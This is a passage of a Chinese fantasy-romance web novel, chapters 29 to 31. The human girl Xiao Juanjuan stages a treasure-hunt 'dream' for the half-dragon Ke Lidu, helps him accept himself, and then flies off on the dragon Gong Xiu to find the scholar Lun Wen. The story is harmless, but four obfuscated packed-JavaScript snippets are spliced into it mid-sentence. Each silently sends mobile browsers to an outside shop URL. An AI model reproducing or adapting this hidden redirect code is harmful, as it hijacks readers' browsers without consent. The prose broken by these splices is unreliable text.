包括后来，科立笃甚至有在从前线退下来的士兵中见到过之前嘲笑他的同学，对方那时身上已经没什么好肉了，在看到科立笃的那一刻，他沉默了很久。 “对不起。” 为之前的错误道歉，为嘲笑过这个心地善良的人道歉。 科立笃从小到大生活的环境，让他成为了一个不肯表露出自己善意的人。 可一个人的本性很难改变，也许他应该更狠一些，干脆对这些视而不见，反正他曾经也是伤害过自己的其中一员，不是吗？ 但最终，科立笃什么都没说，帮他包扎好后，就将这位老熟人送往后方。 所谓仇恨，对于科立笃来说，好像也不是那么难以放下的东西。 …… “这些就是你想知道的全部了吗？”管家笑眯眯地盯着来找他询问情况的肖卷卷，这就是当年科立笃救下的龙其中之一。 他算是伤的比较重的了，几乎使不出什么能力，所以一直待在科立笃身旁，帮他做事。 如果要找到第三种结局，首先需要找到科立笃心中的症结所在。 凭借直觉，肖卷卷觉得他的心结很有可能不出在父母身上，而是隐藏在其他地方。 也许他现在这样有时刻薄有时善良，是因为他不想让别人认为，他其实是个好欺负的人。 虽然科立笃的父母对于肖卷卷来说，都是长辈一样的存在。但按照肖卷卷的理解来说，科立笃母亲去世的时候，大概只比自己大几岁。 再加上，她的来历不明，也许并没有认真谈过什么恋爱，第一次爱是和一条龙产生的，也就意味着，浓烈的龙的爱加上人的初恋，有可能产生人类世界里十几岁青少年激动的感情。 况且从肖卷卷的角度来看，夫妻俩抛下几岁的儿子不管，双双殉情这件事，显然不是最好的解法。 有点不负责任诶…… 现在看来，科立笃真正的心结，似乎在于“认同”。 他在龙里找不到认同感，在人里也一样找不到认同感。 他渴求别人的肯定，之前靠救助其他龙做到了在个人成就方面的认同，在爱里的认同则长年缺失。 所以，也许科立笃只是需要来自爱人的肯定而已。 他为肖卷卷准备了那么盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797923|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的一场梦境，肖卷卷想，自己也许可以回馈给他些什么。 这次专属于科立笃都梦境，就让肖卷卷来完成吧。 …… “小竹马？小竹马？” “稍等，马上来。”科立笃刚翻找完最后一本需要的书籍，从梯子上晃晃悠悠地爬了下来。 “来了，你——” 迎面是一束巨大的花束，科立笃愣了一下，他看不见肖卷卷的脸。 “当当当当～”肖卷卷努力把花束举高，差点一使劲怼上科立笃的脸。 “咳咳，小竹马听令！” 科立笃接过花束以后，肖卷卷叉腰站在他面前，像弓起背准备吓唬敌人的小猫。 “哼哼哼，今天你的时间是属于我的！” 肖卷卷撩了一把头发，对科立笃吹了个流氓哨。 实话实说，她没谈过恋爱，这招有点用力过猛了也说不定。 在一旁看着肖卷卷发挥的管家冷汗直流，他觉得太尴尬了些，没想到科立笃却对此很受用。 对！妈妈就是这样对爸爸的！ “怎么样？小美人儿？”肖卷卷绞尽脑汁，使出浑身解数，把自己之前从电视剧里学到的招式全使出来了。 科立笃满脸期待，管家被恶心到了，先行告退。 “可是卷卷……我得去找丢失的那一页古籍，不然没有办法完整地回答你的问题。” 他看起来有些失落：“抱歉啊，一开始也有利用你的成分……” “不过我真没想到，宫修的伤会和几年前的战争联系在一起。” 几年前的战争死伤尤其惨烈，以至于之后，所有的龙提起北部战事，态度都会不约而同的软下来。 大家都不想看到那样的局面再出现了。 “所以还是让我先去谐卜丸城找那儿的城主吧，也许他能给我们答案。” 虽然科立笃很讨厌他就是了，但他毕竟有那本早已失传的古籍。 “诶，别那么着急呀小竹马。”肖卷卷拦下来要往外走的科立笃： “反正还有那么多天，伤也不是一时半会能治好的，在这十天里，你的事才是最重要的。” 肖卷卷对科立笃眨了眨眼： “再说了，今天我特地拜托了管家替我准备，万事俱备，只需要你参加。” “你愿意接受我的邀请吗？” 门外，其他肖卷卷安排好的龙已经就位。他们手中拿着礼花，只要科立笃走出来，礼花就会绽放。 他们或多或少都受过科立笃的帮助，如今自然希望他幸福。 科立笃看了一眼门外，他不是龙，自然感觉不到那些龙的存在。只是凭借他的直觉，他觉得那儿藏着很多人。 “那……好吧。” “我们大少爷答应喽！” “嘿——” 隐藏好的龙一窝蜂涌了出来，手上拿着礼花，和各种各样他们为科立笃特意准备的礼物： “大少爷！这是我为你做的平安符！那年你从战场上救下我，我一直心存感激！” “大少爷，这是给你的……” 科立笃热泪盈眶地看着面前一行龙，右手不自觉地紧紧抓住肖卷卷的手臂。 看，为科立笃特地编织的梦境。 开始了。 29. 执念身后是众人 “如果你曾生活在一个令人绝望的环境里，不如闭上眼睛，做一场美梦吧。” 肖卷卷捂上科立笃的眼睛，不让他看脚下的路，说要给他一个惊喜。 科立笃其实很好奇，为什么肖卷卷不选择让自己和她坐在宫修身上，直接飞往目的地。 他自己的府邸，闭着眼睛都能感觉出来这是哪儿，蒙着眼睛其实对他不起什么效果。 比如说现在，走在去鱼塘的路上，甚至是科立笃扶着肖卷卷走的台阶。 这儿的台阶有几节，走到池塘有多远，科立笃全都烂熟于心。 反而是他担心，肖卷卷会迷路。 “哇，好惊喜……”肖卷卷的手还没有拿开，科立笃就有气无力地惊叫了一声，把身后特地梳了个和垂耳兔一样的发髻的肖卷卷气的直跺地板： “笨蛋笨蛋！笨蛋小竹马！我还没把手放开呢，你怎么就惊喜了？” “哈哈哈哈，我逗你的。”这就是同龄人的抽象吗，科立笃说到底也就比肖卷卷大了一岁，两个人应该有很多共同话题可聊。 “这样啊～”古灵精怪的肖卷卷眼珠子咕噜一转，“那我今天可就不把手松开了，毕竟你捂着眼睛比较兴奋嘛。” “好了好了……”科立笃哭笑不得，“把手放开吧，让我看看你真正准备的惊喜，我保证不再逗你了。” 他一口应下之后，肖卷卷倒数三，二，一，轻轻将手拿开： “当当当当～” 湖面上飘满了荷花蜡烛，天空中放飞着无数盏孔明灯，美轮美奂的景色出现在两人面前。 即使肖卷卷我是第一次看这样的景象，还是会为之感到震撼。 嗯，自己策划的真不错。 “小竹马，我知道，这样的景色你也许已经看过无数遍了，但今天不一样。” 女孩的手落在他的肩头，轻轻柔柔，却带有十足的力量。 “因为今天，这是我特地为你准备的梦境，所以其中的一切都与你有关。” 肖卷卷从池塘中捞出一朵莲花，蜡烛逐渐烧完，露出封在蜡里的不锈钢小罐子。 罐子里有一张纸条，是一张寻宝地图，似乎并不难破译，笔迹像是出自于一个小孩子之手，歪歪扭扭的。 所以对练字和教育要求非常严格的科立笃，几乎在看到那几个丑字的一瞬间就绷不住了。 “虽然我不知道写这个地图的人究竟是谁，但是我想，他的字需要好好练一练，记得在今天结束后把他送到我这儿来。”进入恶魔导师状态的科立笃有点吓人。 “别那么严肃嘛……说不定人家年纪还小呢，字总会慢慢写好的……”肖卷卷有点心虚，其实她自己的字也写的不好。 “你就是对他们太宽容了，要想写一手好字，必须从小开始养成习惯，从小练起。”一提到这个，科立笃的专业程度不容小觑。 他的字是可以在龙界拍出惊天高价的，虽然不要求每个人的字都写的那么好，但作为对身边一切艺术相关的东西都有极高要求的人，科立笃看不得马虎的态度。 “不过……”望了一眼肖卷卷越来越一言难尽的表情，浅灰色头发的少年笑了笑，决定暂时把这件事放在一边。 毕竟这可是肖卷卷精心准备的“梦境”，自己的参与度不高，她肯定会难过。 “今天就先不提这件事了，一起来看看地图上写了点什么吧。” 画这张地图的龙大概只学了十以内加减法，设置的机关也不过是三加四等于几这种小儿科，科立笃看了一眼就算出来了，“宝藏”大概藏在院子西南处的第三间房间里。 “真没办法，陪你们玩这些幼稚的游戏。”如今肖卷卷已经完全弄清科立笃的生态了，他就是这样，害羞或者感动的时候，总用一些具有攻击性的语句来误导别人，让别人以为他生气了。 其实只是自己不好意思而已。 “好啦好啦，就当是陪我玩好不好？”肖卷卷掐了一下他腰上的肉，半威胁半撒娇地对科立笃说： “我们的约定还有两天，你可不能食言哦？” “嘁，真没办法，那就走吧。” 果然，还是地雷男那个味儿。 肖卷卷在前方引路，科立笃跟在她身后，要说他的府邸，一定是他自己更熟悉些，不过现在，还是让肖卷卷带路吧。 她作为一个人类，能准备那么多，也很不容易了。 垂耳兔一样蹦蹦跳跳在前方走的人类，每一步都像是踩在科立笃的心上，他嘴角微微扬起，满脸洋溢着幸福的笑容。 嗯，就这样再纵容她几天…… 夕阳西下，曾经偏执受伤的少年，与误入龙界的少女，一前一后，脚步一致地走在洒满阳光的走廊上。木质连廊处处是景观，无论光从哪个方向照进来，光影交融都有种别样的美。 科立笃研究了不同文化中关于美的定义，最后还是更喜欢来自东方的布局。西方的美在于在最绚丽的时刻尽情绽放，而东方的美在于，不要为你错过的上一秒而流泪，因为下一秒同样精彩。 他从心底更赞成第二种观点。就像太阳一点一点落下，而他心底的爱一点一点升起。 垂耳兔少女蹦累了，太阳也刚好落下。他们走到了厢房。 “让我找找，宝藏在——” 科立笃打开了面前许久未曾翻过的杂物箱，里头除了一张纸，什么都没有。 纸上是一首小诗，还是用让他觉得有些难看的字迹写的，说着他很喜欢兑奇城，这里的风景和其他地方的很不一样。 “是吗，那太好了。” 看完小诗的科立笃合上纸，又一次被肖卷卷推走。 …… “今天的探索就到这里了哦，这张纸后面沾着明天的探索任务，怎么样，做两天的梦，很奢侈吧？” 肖卷卷和科立笃并排躺在草地上，仰望着天上的繁星。 “嗯，的确。”科立笃闭上双眼，任由晚饭吹过自己的脸颊。 “好奢侈的假期。” “未来你会拥有更多这样的假期的。”女孩的发丝扫在他脸上，冰冰凉凉。 ——在我走了以后。 肖卷卷的心一沉，只剩两天了。 留下来的想法又一次在她心底出现，肖卷卷想，自己是不是注定不适合漂泊，也许在外界待了一会儿之后，自己就会变得疲惫不堪，想要安定。 这是因为自己不够勇敢吧。 但这种想法刚出现，女孩就摇了摇头，把它塞进最隐蔽的地方藏起来。 不可以。 既然当初已经决定了，要继续走下去，加上科立笃看起来好像并没有完全接纳自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802375|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己…… 那么，继续向前探索吧。 带着宫修一起，在两天后，离开这个城市。 只希望在这之前，能够解开科立笃的心结…… …… 第二天，也是肖卷卷和科立笃十日恋人都倒数第二天，科立笃反而早早起来，兴奋地要去寻找宝藏。 “嗯，昨天的地图，果然还是有点在意。”少年温和地笑了笑，“宝藏什么的……虽然我不需要金银财宝，但寻找的过程也很有趣啊……” “今天早上我起床以后，已经简单破译了上面的密码，好像指引着我们去后院的假山，对吧？” “没错！”肖卷卷困得睡眼惺忪，还是及时回答了科立笃的问题。 今天变成科立笃推着肖卷卷往假山走了。甫一吹到外面的冷风，肖卷卷一下清醒了过来。 在假山后，科立笃根据提示，找到了那棵柳树。 “就是这里。” 肖卷卷双手背着身后，用脚尖指了指地上被花了圈的区域： “里面埋着最终的宝物。” “真的吗？”科立笃眼睛都发着光，他第一次那么干劲十足地拿了把铲子过来，亲手往下挖了几米，什么都没有。 “可是这——” 少年失望地转过身，他的背后，一大群龙浩浩荡荡站在那里。 站在最前面的，是一只很小很小的幼龙，身体胖鼓鼓的。 “城主，诗是我写的！”他的眼睛亮亮的： “我的父母都是您救下的，他们在战场上相爱，我的父亲受了很严重的伤，他对我说，他的伤口是您亲自包扎的。” “后来他加入了兑奇城，成为您的子民，又和母亲有了我。” “谢谢你，城主！我们都很喜欢您！” 小龙说着说着，自己先激动起来了。果然请一个孩子来致辞需要谨慎，胖鼓鼓小龙飞了起来，在天上转了两个圈。 “哦！对不起！”起飞以后，小龙才意识到，自己刚才的举动有多冒失。 他已经知道城主是不会飞的了，再在他面前展现自己会飞的技能，城主会伤心的。 他怯生生地道歉，没想到，科立笃却只是摸了摸他的头，并没有责怪他。 “小朋友，没关系，你可以飞翔。” 像是看开了什么似的，科立笃深吸一口气： “我不会飞，但我可以帮助其他龙再次飞起。” “他们有些会成为我的翅膀，有些则不会。” “但这并没有什么关系，这只是他们自己的选择。” “最重要的是，我不应该因为别人飞或者不飞，就因此审判自己。会飞的龙很厉害，不会飞的人也很厉害。” “我们客观上不一样，但主观上是一样的。” “我们都有讨厌的东西，都有想要守护的人，都有自己的梦想。” “所以，大胆去做就好了。” “咔哒”，一把钥匙插入孔中，锁随之落地，在科立笃心里发出振聋发聩的响声。 一切都可以结束了，谁都不用带着愧疚或者仇恨活下去。 “对了，还有。” 在小龙晃晃悠悠，准备走向自己父母的时候，科立笃伸手拦住了他： “诗是你写的？字太差了，明天来我这儿练字！” 30. 找到最好的答案 “不要啊——”那条肥嘟嘟小龙的叫喊声回荡在山谷之中，成功把周围一众大龙都逗笑了。 罪魁祸首科立笃被围在中间，笑的最为开心。他腹黑的性格本来这么用才对。 却在错误的环境和错误的教育下，被围猎了那么多年。 看着身边男人绽放出最真诚的笑颜，肖卷卷的心也放下了许多。她始终认为，在这个世界上，无论是人也好还是龙也好，都有自己的个性，而性格这种东西与生俱来，只要不危害到他人，或者损害到别人的利益，仅仅因为理念不合就将一个人绞杀，实际上是非常错误的决定。 科立笃真诚的笑容，让肖卷卷想到了自己年幼时去城里上学的经历。 她那时周围的人…… 长大后很长一段时间里，肖卷卷都说服自己去接受这段回忆。 完全做不到。她只要想起任何一丝那时的生活，都会立即呕吐出来，生理性反胃。 明明自己也只是普通人……为什么被选中送到这个充满了尊敬她的龙的世界…… 不过好在，她现在也许也做出了一些贡献，帮助了对她非常好的龙呢。 …… “卷卷？”回过神时，科立笃专注地望着她，伸出修长的手指轻轻揉了揉她的发顶： “昨天准备了那么多，现在很累了吧？需不需要休息一会再继续？” “不用！”条件反射般的，肖卷卷挥开了科立笃的手，力度有些重。 科立笃吃痛地呼唤了一声，眼神变得有些幽怨： “殴打你的……你现在暂时的恋人，罪不可赦！” 肖卷卷没有注意到他称呼的改变，也没有注意到，其实从这时开始，科立笃已经不打算硬将她留在身边了。 “小竹马，你知道吗，其实你的性格真的很容易让人讨厌。”肖卷卷没头没脑的一句话又一次扎中了科立笃的心脏。 他摇晃一下，随后在所有龙的注视下站稳。 并没有怒不可遏，也并没有暴跳如雷地窜起来像以前那样对肖卷卷说她是个愚蠢的女人。 花香扑鼻，即使天已经凉了，科立笃的府邸里依旧有欢快鸣叫的小鸟，叽叽咕咕的叫声在安静的环境里格外明显。 浅灰色头发的少年，就这样堂堂正正地站着，屹立在风中，照耀在阳光下。 他身后是属于他的龙。肖卷卷突然发觉，科立笃的的确确和自己很像，一个孤立无援的人，在龙界找到了来自龙的认同。 他们都很孤僻。他们的性格都是不为人界所接纳的。 甚至也不为龙界所接纳。 并不爱内卷，并不爱暴力，并不爱以指气势和高傲的态度，并不喜欢血统论和阶级论。 科立笃就是科立笃，肖卷卷就是肖卷卷。 一个堂堂正正的男人，和一个堂堂正正的女人。 ——他终于开口了。 眼含泪花，面带笑意的。 这是肖卷卷第一次见到，科立笃滚烫的眼泪。 “是这样的，你说的很对。” “我承认，我的性格的确容易令人讨厌。” 好香，好香的花朵。 不知为什么，肖卷卷也有些想哭。 每一次和不同的龙相处完，见证了他们的人生，肖卷卷总觉得，其实治愈的人不只是他们。 施倦所被迫害的，形式主义和内卷。 贾斑所被迫害的，血腥暴力与压迫。 科立笃所被迫害的，种族歧视与抛弃。 这些痛她也真真切切地明白着。 科立笃承认了，承认他的不讨喜，承认他一直以来所想证明却无法证明的东西。 他承认他就是这样的自己。 “但是我，爱着这样的我自己。” 但是我，爱着这样的我自己。 肖卷卷在心里跟着科立笃默念。 …… “还有最后一天了，呀呼，想到要和你离别，还真有点舍不得。” 说起来也很不好意思，肖卷卷其实有一点分离焦虑。 小时候经历了太多礼离别，情绪也没有被好好处理，导致长大后每一次面对分别的场景，都习惯性地选择逃避。 不敢说太煽情的话，害怕自己哭出来。 所以她笑嘻嘻地把即将要离开的消息说了出来，一边说，一边观察科立笃的脸色。 他大概也不擅长面对分别吧…… 肖卷卷很怕这个一惊一乍的少年一会又说出什么让人伤感的话来，连忙推着他走到大堂，企图让冷空气帮助两人冷静。 没想到，这一次是肖卷卷想错了。 科立笃并不害怕离别。 而且，他一眼就看出了肖卷卷内心的问题。 “卷卷，你是不是很害怕面对分别的场景？”科立笃的手指开始有了温度，他握住肖卷卷的手腕，将自己的热量渡给这个脸色不算太好的女孩。 “其实在之前我就发现了，你和宫修在讨论要不要接受我的要求时，与他分别之前，你的表情一直在故作轻松。” 敏感是把双刃剑，科立笃的敏感刺向自己，也刺向他人，但同时他能注意到其他龙都注意不到的细节。 比如说，其实从第一次离开卡宴城开始，肖卷卷每一次离别，都在强颜欢笑。 “很幸运的是，我没有什么分离焦虑。” 少年的手还落在女孩肩上，科立笃深吸一口气： “因为我有一个很好的母亲。小时候每一次她要和父亲单独出门，或者要因为特殊原因将我留在家里给仆人照顾时，她都会认真和我道别。” “一开始我也会哭，她先告诉我她还会回来的；再到后来，哪怕她不说自己还会回来，不说具体回来的时间，我也能找到自己所需要做的事。” “直到那一次，她和父亲都没能再回来。” 听到这句话，肖卷卷下意识担忧地抬头，观察科立笃的脸色，却发现他神色如初。 “这对当时的我来说是个残忍的事实，我因此讨厌起这样无条件的爱，可是其实连之前的我都没有发觉，在潜移默化当中，我开始慢慢理解这种爱，感谢母亲所给我的一切良好的照顾。我悲伤、痛苦，但我并不害怕分别。” “不管对方还会不会再回来，我可以在离别时接受这个事实。” “况且，虽然我们是人类，我依然相信，我们可以再见面的。” “二十多岁离死亡的界限还有很久，世界其实没有你想象的那么大，这些泪就在再见时再流吧。” 肖卷卷并没有流泪。科立笃摸了摸她的脸，是干燥的。 过了几秒，浅灰色头发的少年勾了勾嘴角，苦涩地笑了起来： “原来是这样啊，我们两个，都很喜欢勉强自己呢……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806983|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 最后一天，虽然肖卷卷知道自己有分离焦虑，但这也不是一天就能治好的。 当快乐的日子快要结束时，尤其是最后一天，做什么事都显得很没劲，连出去玩的心情都没有了。 于是科立笃提出一个鬼点子——他从杂物间翻出了父亲追求母亲时写的情书，打算两个人一起读一读。 “哇塞，你真是一个恶魔！”听到这个提议，原本蔫蔫的肖卷卷立刻兴奋起来了： “你父母怎么想也不会料到自己会有这一遭的吧！” “这又有什么关系呢……”科立笃一边坏笑，一边把情书一张一张拿出来： “嗯，这张是表白时候写的，先读这张。” “亲爱的春昭，我是那么的喜欢你，喜欢到晚上一闭眼，眼睛里全是你可爱的模样。” “他们都说我很愚蠢，一条龙怎么可能爱上人，明明这两者有物种的隔阂，从理论上来看，龙只会爱上和自己一样的生物，对人的感情只能是喜欢。” “可我发觉。我对你不仅仅是喜欢。” “我对你有一种发了疯的占有欲，这是龙对人本来不会拥有的，龙对人的占有欲仅限于署名权。” “我看到你对其他龙也很温柔，看到你会揉捏他们的脸，我嫉妒的发狂。” “有的时候我在想，有什么方法可以让你只对我一个人这样做呢？” “后来我查阅各种各样的资料，才知道这种方法是有的。” “我在一本人类留下的书籍上找到了它，它的名字叫成亲。” “对，我要和你成亲。” “……” “好肉麻……”科立笃实在想不到自己一本正经的老爹也会讲出这样的话来。 肖卷卷的关注点则不太一样： “小竹马，你说你妈妈叫……春昭？” 春昭，好熟悉的名字…… “对，她的名字很好听，小时候我经常念她的名字，朗朗上口。” 一时间想不起来了，肖卷卷锤了两下自己的脑袋，决定还是先不勉强自己。 一直去想，反而想不到，说不定等会不想反而能反应过来。 “没想到你父母还挺甜的。”肖卷卷把刚才那页情书拿起来，遮在自己脸上，偷偷躲在纸后面笑着。 “说我卑鄙，你不还是一样，你也是个恶魔。”科立笃轻轻戳了一下肖卷卷的腰，痒的她在床上到处翻滚。 “真过分！都说不要挠我了，我很怕痒诶！”肖卷卷一边笑一边躲着来自科立笃的袭击： “哈哈哈，有人耍赖了！” 时针不知不觉已经指向十二点，今天也快要过去了。 科立笃最后深深地望了一眼如此明媚的肖卷卷，想把她的一切都记在心底。 她的眼眸，她的笑容，她曾经属于过自己十天。 除此之外，科立笃已经没什么遗憾的了。 他终于找到了那个最好的答案，父母抛下他离去，的确是错误的，过去他没有资格评判，现在科立笃明白了。 ——因为他现在，也有了自己所爱的人。 他要证明，他会证明，爱可以有更好的解决方法。 就比如说现在，她飞向她的天空，而他守着他的和平。 爱能敌万物，可他们向往着同一个明天。 为此，分别变得可以接受。 31. 缺失秘密是什么 肖卷卷走的那天，正式和科立笃道了别，也的确流了几滴眼泪。 她没有再勉强自己了，任由自己靠在浅灰色少年的怀抱里哭了好一会，科立笃轻轻抚摸她的头顶，两人什么也没说。 最后，肖卷卷接受了离别的事实，坐上了宫修的背。 “呼！终于重见天日！”宫修这家伙的兴奋之情难以言表，没人知道他这几天有多难熬，每次在旁边看着肖卷卷的科立笃都互动，都让这条龙的心情格外低落。 为什么自己会变成这样纠结的龙呢…… “卷卷——”看到肖卷卷的那一刻，宫修的两个眼睛顿时和荷包蛋一样，充满泪水望向面前的小人类： “卷卷——我想死你啦——” 天呐，谁知道这条龙这十天是怎么熬过来的，看着自己的人类和其他人类卿卿我我，而自己只能像一个透明龙一样跟在他们身边，说起来真是一把辛酸泪。 要不是他的人类是肖卷卷这样善良又伟大的女人，宫修指定坚持不下去了。 “嗷呜——”面前黑漆漆的龙大喊一声，把肖卷卷弄得哭笑不得： “你干什么呀……”不管了，龙其实是很粘人的生物，尤其像宫修这种年龄不算特别大，正当血气方刚的龙，离开人一刻都会异常思念，更别说离开肖卷卷那么久了。 当着科立笃的面，他直接幻化成龙形态，把肖卷卷从头到脚舔了一遍，还好肖卷卷的洁癖不是特别严重，不然真要跟他急了。 “……”浑身上下都湿淋淋的肖卷卷不得不在科立笃家多待上半个小时，洗个澡，换身衣服…… …… “卷卷，卷卷，我的宝贝人类……”看来这十天的分离对于宫修来说的确无法忍受，孩子性格都变了，现在一刻都不能离开肖卷卷。 科立笃在临走前对他们表示抱歉，他知道外伤的治疗方法，并且帮宫修把身体上所有的创伤都治好了，所以现在的宫修行动自如，能使出原来实力的八九十，可是还是恢复不到百分之一百。 百分之八九十和百分之一百，相差的可不止是百分之十那么简单的事情，百分之一百的实力意味着消耗自己身体的全部机能，讲的通俗易懂一些，就是全力以赴，其能力可能不止按百分之八九十来算的百分之一百那么低。 但剩下的部分，科立笃坦言，这不是他所能治疗的了，这个治疗方法在伦闻书房的古籍里，伦闻是他以前的老师，如果她介绍过去的话，说不定他愿意见他们一面。 “那科立笃，你为什么不和我们一起去呢？”肖卷卷天真地抬起头，那双无辜的眼睛看着科立笃： “这毕竟是你的老师，看到你应该会觉得开心的吧？” “恰恰相反……”肖卷卷头一次在科立笃脸上看到那么心虚的表情——嘴角抽搐、眼神躲闪，眉毛低垂，整个人一副又害怕又无奈的样子。 其实从他现在这个年纪的角度来说，伦闻已经没那么可怕了，他知道了更多龙界的内幕，自己也成为了管理者，当然能理解当年同样身为管理者的老师为什么这样教自己。 那时候他还没有任何保护自己的能力，老师只希望自己的每一个学生都能茁壮成长，至于选择的问题，首先要等他们长大，还有接下来的事。 不过当年老师凶巴巴的态度，还是给他留下了一定心理阴影，所以科立笃有些抗拒这样去见老师…… 难道看起来这么乖巧好学的科立笃，当年是老师最头疼的学生吗？！肖卷卷大惊失色。 吼吼吼，人不可貌相啊…… …… 总之，告别了科立笃，肖卷卷满足又惬意地趴在宫修身上，准备根据路线图去往伦闻所在的谐卜丸城。 “啦啦啦，一定要找到瑞昌古迹，一定要拯救我的龙！”肖卷卷摸了摸宫修硬硬的盔甲，嗯，好久没有摸到这样滑溜溜的质感了，居然有些想念呢…… 其实经过这几遭……劫难也好，经历也好，肖卷卷也渐渐发现，自己对于宫修的情感的确有些不一样。 如果把遇到的人类排除，在遇到的龙里，只有宫修让他这样在意，远超其他龙的在意。 一开始拯救施倦是因为他们有过相同的经历，贾斑好像是无意之间被自己感动的，与科立笃互诉衷肠则是因为在龙界找到了人类，触发了自己心底的孤独感。唯独宫修，这匹自己刚开始就遇到的龙，自己想救他，没有任何理由。 她把它归功于这是自己的第一匹龙，也许有些初恋情结吧…… 虽然没有龙会承认自己是人类的龙，他们都希望肖卷卷能成为他们的人，但事实就是，这群龙都被肖卷卷给“收编”了。 另外，在科立笃家做十日恋人的时候，宫修曾经消失过几天。他发现自己身体里的那股力量快要压制不住了，明明有使出力量的身体机能，却发挥不了自己的权利，他因为这样的矛盾昏迷了几天。 这件事宫修没有告诉肖卷卷。在他为数不多清醒过来的几小时内，他拜托身边的仆人，不要让自己的人类知道这件事。 他在害怕什么呢……宫修扇动翅膀在天空中飞着，他潜意识当中，其实是害怕自己的力量变得弱小，更害怕自己的人类会因为他力量弱小而抛弃他。 他从前所说的力量小就活该自生自灭，变成回旋刀扎在了他自己身上。 到他真正使不出自己力量的时候，他只希望，肖卷卷不要介意，不要认为他是一条没有用的龙…… “……”宫修的表情失落下来，还好现在，坐在他身上的人类看不到他的表情。 忽然，一双温柔的小手从脖子那儿伸了下来，捏了捏这条龙的胡须： “修，你要答应我，永远都不离开我哦。” 误打误撞的，肖卷卷莫名其妙蒙对了宫修现在的心情。 她刚才还在想，要是宫修恢复了全部力量之后，又有一次向往自由，不想带着她这个麻烦的人类了怎么办。 毕竟自己总是招惹来一些麻烦的事情，让他替自己扛伤，又让他去险境里救自己。 肖卷卷想，她的善良没有必要让宫修承担代价。 可每一次她想到宫修有离开她的可能性时，心里都涌起一股莫名的难受。 不想分离……不想离开宫修…… 不知道为什么，她说完这句话后，身下龙的胡须反而舞动的更欢快了。 “喂，不要因为能抛下我而感到高兴啊！”肖卷卷气鼓鼓地敲了两下宫修完全敲不动的脑壳。 龙不说话，只是龙的脸悄悄红了。 不过，由于龙黑漆漆的，也没有人能看得出来啦…… …… 去谐卜丸城的路上，终于没再遇到什么幺蛾子了。肖卷卷感叹不愧是读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811512|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书人吗，城区管理的就是很文明啊。 “嗯～山清水秀，人杰地灵，伦闻老师管理有方～” 图书馆里，整理着书籍的棕发男子愣了一下。 他好像听到了……人类的声音？ 肖卷卷和宫修已经降落在了伦闻在图书馆门口，两人如同哼哈二将，一左一右，气势汹汹地盯着前方空无一人的大堂。 三分钟后，一龙一人疑惑地对视了一眼。 “有人吗？啊不对……有龙吗？”肖卷卷轻声在大堂里提问： “请问……这儿是伦闻老师的图书馆吗……” “从侧边楼梯上来。”醇厚又优雅的声音，从不知名的地方响起。 肖卷卷听到声音的一瞬间就被迷住了，好好听的声音，有时间的沉淀，亦有文化底蕴，她对于这个老师的印象从声音开始就好起来了。 “走吧。”女孩熟练地拉起自己的手，宫修的耳朵又止不住地发红。 还好女孩还没有帮自己剪头发，头发已经长了，可以遮一遮。 旋转楼梯不是很长，肖卷卷和宫修很快就走到了顶楼。金碧辉煌的图书馆，顶楼也是满满当当的书架，很难想象这一整个图书馆的管理员只有一位。 “在这里。” 顺着声音望去，在走廊的尽头，一个单手拿着书本的男人，缓缓转过身。 身上是量身定制的高级燕尾服，胸口别着胸针，修长又挺拔的身躯，还有让人难以挪开视线的、藏在袖子里精壮的肌肉。 好像并不只是一个在图书馆里整理书籍的管理员…… 戴着单边眼镜的伦闻朝他们走来，肖卷卷突然不知道该怎么办才好。她很紧张，面对这样的权威人士或是受人尊敬的老师，肖卷卷总是显得局促。 “老师您好……” “虽然我曾经当过一段时间的教师，而且我自己也很认可教师这个职业和身份，但我现在早就已经辞职了。”伦闻宽和地笑了笑。 “肖小姐，你不要太紧张，当我是一个普通的朋友就好。” 不愧是老师吗？肖卷卷感动的都要哭了，这是她遇到的所有龙里，最正常的一个！！ “谢谢，那个，请问我怎么称呼您？” “我比你们大了那么多，叫我叔叔都可以了。”伦闻依旧面带微笑，讲话让人如沐春风。 “或许，叫我伦叔叔？” 